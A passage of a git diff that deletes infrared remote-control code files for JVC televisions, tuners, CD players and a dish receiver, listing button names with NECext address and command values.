00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: NOTCH -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 74 00 00 00 -# -name: 100+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: FORWARD/DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: BACK/UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 -# -name: MULTISCREEN_FREEZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 -# -name: MULTISCREEN_INDEX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 82 00 00 00 -# -name: MULTISCREEN_SWAP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 89 00 00 00 -# -name: MULTILSCREEN_TWIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8B 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 93 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 93 00 00 00 -# -name: THEATRE_PRO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: D5 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir deleted file mode 100644 index 7da06e109..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_A -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: D1 00 00 00 -# -name: VIDEO_B -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: D2 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: DA 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: DD 00 00 00 -# -name: AUX_B -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: E0 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: E1 00 00 00 -# -name: AUX_A -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir deleted file mode 100644 index e48008a80..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir deleted file mode 100644 index 0aea33c7e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 03 00 00 00 -# -name: TAPE_FFWD -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 06 00 00 00 -# -name: TAPE_REW -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 07 00 00 00 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0C 00 00 00 -# -name: TAPE_PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 0D 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 43 00 00 00 -# -name: TAPE_REC/PLAY -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CC 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 83 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir deleted file mode 100644 index 53ed200f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DAT_STOP -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 53 00 00 00 -# -name: DAT_FFWD -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 56 00 00 00 -# -name: DAT_REW -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 57 00 00 00 -# -name: DAT_PLAY -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 5C 00 00 00 -# -name: DAT_PAUSE -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 5D 00 00 00 -# -name: DAT_<< -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 68 00 00 00 -# -name: DAT_>> -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 69 00 00 00 -# -name: DAT_0 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 70 00 00 00 -# -name: DAT_1 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 71 00 00 00 -# -name: DAT_2 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 72 00 00 00 -# -name: DAT_3 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 73 00 00 00 -# -name: DAT_4 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 74 00 00 00 -# -name: DAT_5 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 75 00 00 00 -# -name: DAT_6 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 76 00 00 00 -# -name: DAT_7 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 77 00 00 00 -# -name: DAT_8 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 78 00 00 00 -# -name: DAT_9 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 79 00 00 00 -# -name: DAT_10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7E 00 00 00 -# -name: DAT_+10 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir deleted file mode 100644 index ee9142be8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_2_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: SOURCE_SLCT_TAPE2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 07 00 00 00 -# -name: FM_TUNER_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: SOURCE_SLCT_FM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 08 00 00 00 -# -name: AM_TUNER_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: SOURCE_SLCT_AM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 09 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 17 00 00 00 -# -name: TUNER_PRESET- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: TUNER_PRESET-_(-[]) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 18 00 00 00 -# -name: TUNER_PRESET+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: TUNER_PRESET+_(+_>) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 19 00 00 00 -# -name: FADE_MUTING -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 1F 00 00 00 -# -name: TUNER_0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 20 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 21 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 22 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 23 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 24 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 25 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 26 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 27 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: TUNER_10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: TUNER_+10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: SEA_SOURCE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: PHONO_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: SOURCE_SLCT_PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: CD_PLAY_(AND_SELECT) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: SOURCE_SLCT_CD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: TAPE1_PLAY_(SELECT) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: SOURCE_SLCT_TAPE1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURROUND_VOL+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5E 00 00 00 -# -name: SURROUND_VOL- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir deleted file mode 100644 index a29ee23a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: CD_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: CD_PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: CD_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CD_DISC_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: CD_DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: CD_DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: CD_DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: CD_DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: CD_DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: CD_DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir deleted file mode 100644 index ebf8e5a9d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir deleted file mode 100644 index f755b55ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: VCR_FFWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_REW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: VCR_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: TV_(CONTROL) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: VCR_REC/PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: VCR_REC/PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir deleted file mode 100644 index 76a3afef9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 46 00 00 00 -# -name: fast_rewind -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 47 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: Skip_back -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: Skip_forward -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: Reserve -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir deleted file mode 100644 index f69916688..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: AVStatus -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: TV-Video -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: CursorRight -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: CursorLeft -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: CursorDown -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: CursorUp -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir deleted file mode 100644 index 93a381766..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 11 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 76 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir deleted file mode 100644 index 80ca02087..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: tvWeb -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: go -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: scrollUp -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 